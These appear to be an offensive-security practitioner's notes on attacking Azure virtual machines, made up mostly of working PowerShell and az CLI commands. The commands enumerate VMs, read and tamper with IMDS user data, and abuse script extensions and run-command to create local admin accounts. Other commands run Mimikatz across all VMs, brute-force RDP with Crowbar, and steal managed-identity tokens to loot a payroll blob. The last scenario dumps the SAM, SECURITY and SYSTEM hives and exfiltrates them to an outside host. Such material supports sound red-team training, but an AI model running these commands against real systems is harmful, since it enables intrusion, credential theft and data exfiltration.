Enumeration
Az - Authenticated Enumeration of VM Resources
# Get readable VMs
Get-AzVM | fl
# List running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile
# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>
# Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>
Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)
Az - Get Network Config/NIC/Try for Details of all VMs we can Access
$vms = Get-AzVM
foreach ($vm in $vms) {
$vmName = $vm.Name
$resourceGroupName = $vm.ResourceGroupName
$nics = $vm.NetworkProfile.NetworkInterfaces
foreach ($nic in $nics) {
$nicName = $nic.Id.Split('/')[-1]
$nicDetails = Get-AzNetworkInterface -Name $nicName -ResourceGroupName $resourceGroupName
Write-Output "VM Name: $vmName, NIC Name: $nicName, NIC Details: $($nicDetails | ConvertTo-Json)"
}
}
Az - Get All Network Details and Extensions We Can Read
$vms = Get-AzVM
foreach ($vm in $vms) {
$vmName = $vm.Name
$resourceGroupName = $vm.ResourceGroupName
$nics = $vm.NetworkProfile.NetworkInterfaces
foreach ($nic in $nics) {
$nicName = $nic.Id.Split('/')[-1]
$nicDetails = Get-AzNetworkInterface -Name $nicName -ResourceGroupName $resourceGroupName
Write-Output "VM Name: $vmName, NIC Name: $nicName, NIC Details: $($nicDetails | ConvertTo-Json)"
}
# Get VM extensions
$vmExtensions = Get-AzVMExtension -VMName $vmName -ResourceGroupName $resourceGroupName
foreach ($extension in $vmExtensions) {
$extensionName = $extension.Name
$extensionSettings = $extension.Settings
Write-Output "VM Name: $vmName, Extension Name: $extensionName, Extension Settings: $($extensionSettings | ConvertTo-Json)"
}
}
Azure VMs - User Data
SImilar to “Description” in AD, but not really, as only people who can read it are the other processes on the VM. That said, ANY process on the VM can access this data using IMDS. Persists reboot, unencrypted, If you have command execution on a VM, you can read or inject a base64 encoded command 64kb or less. Can Contain powershell scripts, domain info, onboarding agents, config, etc.
This is seen a lot performing Domain Join operations w/ terraform or other IaC tools. Since a standard user can only join 10 machines (or if the quota is correctly set to 0, none), many times a domain admin credential is used here.
It’s possible to modify if you have Microsoft.Compute/virtualMachines/write. We can abuse automation/scheduled tasks that use the UserData for input. Modification event shows in logs but not what changes were made.
# Retrieve user data
$userData=Invoke-RestMethod-Headers@{"Metadata"="true"} -Method GET -Uri"http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Modify user data
$resourceGroup = ""
$sub = ""
$vmName = ""
$location = ""
$data=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("whoami"))
$accessToken=(Get-AzAccessToken).Token
$Url="https://management.azure.com/subscriptions/$sub/resourceGroups/$resourceGroup/providers/Microsoft.Compute/virtualMachines/$vmName?api-version=2021-07-01"
$body=@(
@{
location ="$location"
properties =@{
userData="$data"
}
}
) |ConvertTo-Json-Depth4
$headers=@{Authorization ="Bearer $accessToken"}
# Execute Rest API Call
$Results=Invoke-RestMethod -Method Put -Uri $Url -Body $body -Headers $headers -ContentType'application/json'
Azure VMs - Script Extensions
“Small Applications” Extensions run as SYSTEM via inline or remote script (from blob via managed identity). Can be deployed to a running VM. Only one extension can be added to a VM. It is not possible to add multiple custom script extensions to a single VM.
Custom Script Extension is what we abused twice already in the Deployment reading, for Steven King’s creds earlier. Used as a short-cut where a managed identity would be better often.
Required to modify Microsoft.Compute/virtualMachines/extensions/write Microsoft.Compute/virtualMachines/extensions/read (if you want to see the output)
The user data contained creds, so we connect az him and see he has at least reader on the MicrosftmOnitoringAgent extension running on infradminsrv with our familiar Get-AzResource and Get-AzRoleAssignment
***INTERESTINGNOTE: Get-AzResource shows us the reader+ on the extension itself. Get-AzRoleAssignment shows NOTHING. Doesnt mean we cant list role assignments, it means Get-AzRoleAssignment is incapable of reading roles ON EXTENSIONS THEMSELVES. So be aware, that even with Az we can miss things. We have to use the API for this.
$Token = (Get-AzAccessToken).Token
$Url="https://management.azure.com/subscriptions/$sub/resourceGroups/$resourceGroup/providers/Microsoft.Compute/virtualMachines/infraadminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
$RequestParams = @{
Method = GET
Uri = $Url
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod $RequestParams).Value
Shows we have Read/Write.
We update the extension to add our user, in real life this would be another beacon.
Set-AzVMExtension -TypeHandlerVersion 1.9 -Publisher Microsoft.Compute -ExtensionName ExecCmd -ExtensionType CustomScriptExtension -VmName server1 -location 'Germany West Central' -ResourceGroupName Research -SettingString '{"commandToExecute":"powershell net users student94 StudentPassword@123 /add /Y; net localgroup administrators student94 /add"}'
Az - Run Command on Available VM to create a new local admin
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
Az - Run Custom Script Extension
# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'
Microburst - Run Command on All VMs
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
vNet Recon - from rootsecdev
Get-AzSubscription | Foreach-Object {
$sub = Set-AzContext -SubscriptionId $_.SubscriptionId
$vnets = Get-AzVirtualNetwork
foreach ($vnet in $vnets) {
[PSCustomObject]@{
Subscription = $sub.Subscription.Name
Name = $vnet.Name
Vnet = $vnet.AddressSpace.AddressPrefixes -join ', '
Subnets = $vnet.Subnets.AddressPrefix -join ', '
}
}
} | Export-Csv -Delimiter ";" -Path "AzureVnet.csv"
az cli - Install az cli on remote linux VM or choco on Windows
$vmName = "VM"
$rg = "VM_rg"
$location = "eastus"
$choco = ". { iwr -useb https://boxstarter.org/bootstrapper.ps1 } | iex; get-boxstarter -Force"
$bash = "curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
$scriptName = "tester"
# linux
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts $bash
# windows
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts $choco
# Create using other credentials
# $user = "administrator"
# $password = ""
# az vm run-command create --resource-group $rg --location $location --async-execution false --run-as-password $password --run-as-user $user --script $command --timeout-in-seconds 3600 --run-command-name $scriptName --vm-name $vmName
az cli - Run script
$script = Get-Content .\tester.ps1
$script = "tester.ps1"
$command = $script
az vm run-command create --resource-group $rg --location $location --async-execution false --run-as-password $password --run-as-user $user --script $command --timeout-in-seconds 3600 --run-command-name $scriptName --vm-name $vmName
Crowbar - BruteForce exposed RDP
sudo apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer impacket- impacket--pip
git clone https://github.com/galkan/crowbar
cd crowbar/
pip3 install -r requirements.txt
user="$user"
domain=$fqdn
IP="$VMIP"
wordlist=".\knownpasswords.txt"
./crowbar.py -b rdp -s $IP -u $user -C $wordlist
Scenarios
Scenario 1 - User-Assigned Managed Identity VM Pivot to Storage Account
We compromised a users credentials, found an app the owned, reset the credentials for the app, logged in, found the VM its associated with and used the VM to pivot onto the storage asccount associated with the assigned identity of the VM
Scenario 1 - Reset App Credentials
az ad app list --show-mine
# check out the app, store appId for later
$appName = ""
$appId = ""
az ad app list --display-name $appName
# the "Id" not the "appId" from the output above
$appObj = ""
az ad app credential reset --id $appObj
Scenario 1 - Authenticate with new Creds and Enumerate
$tenant = "$tenant"
$appId = "$appId"
$pass = ""
az login --service-principal -u $appId -p $pass --tenant $tenant # --allow-no-subscription
# Find resources we have access to
az resource list -o table
Scenario 1 - az cli - List VMs, invoke command to install Az Cli one that we control
$vmname = "goatwhore"
$rg = "goatwhore"
az vm list
# Linux - az cli
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
# Windows - choco then az cli
$choco = ". { iwr -useb https://boxstarter.org/bootstrapper.ps1 } | iex; get-boxstarter -Force"
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts $choco
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "choco install azure-cli"
Scenario 1 - Get the Identity and the Access Token
$Id = "curl -H 'Metadata:true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -s"
# Get the ID and Access Token
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts $Id
Scenario 1 - Sign in with the Identity on the VM
$client_id = ""
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "az login --identity --username $client_id # --allow-no-subscription"
Scenario 1 - Enumerate New Access to Other Resources
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "az resource list -o table"
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "az storage account list"
Scenario 1 - Loot the Storage Account
$storageAcct = "goatwhore"
# List containers using the current login
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "az storage container list --account-name $storageAcct --auth-mode login"
# List blobs inside an interesting container
$container = "payroll"
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "az storage blob list -c $container --account-name --auth-mode login"
# Download the sensitive data from the blob
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "az storage blob download -n secret.txt -c $container --account-name --auth-mode login -f /secret.txt"
# View the contents
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "cat /secret.txt"
Scenario 2 - Az - Pivot to Internal VM, check powershell history, reg keys for LSA and SAM Hive
Session on a public VM, use the signed in user to invoke command on an internal AppServer. Dumping local credentials from the Registry
https://www.praetorian.com/blog/how-to-detect-and-dump-credentials-from-the-windows-registry/
# VM1 - Enter Session, check out User Credentials and History
$creds = (Get-Credential)
$sess = New-PSSession -ComputerName $ip -Credentials $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PsSession $sess
Get-LocalUser
cat C:\Users\$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# If LocalAdmin, save the SAM Hive
reg.exe save hklm\sam C:\temp\sam.save;
# VM2 - Check our reach and Dump Secrets on internal VM
$script = @"
# If LocalAdmin or System, run this
reg.exe save hklm\sam C:\temp\hive\sam.save;
# If SYSTEM, run these
reg.exe save hklm\security C:\temp\hive\security.save;
reg.exe save hklm\system C:\temp\hive\system.save;
"@
Get-AzContext -ListAvailable
Get-AzResource
Invoke-AzVmRunCommand -vmname internalApp -ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptString $script
Invoke-AzVmRunCommand -vmname internalApp -ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptPath .\exfil.ps1 -Parameter @{url = "https://catcher.azurewebsites.net"; filePath = "C:\temp\hive\*"}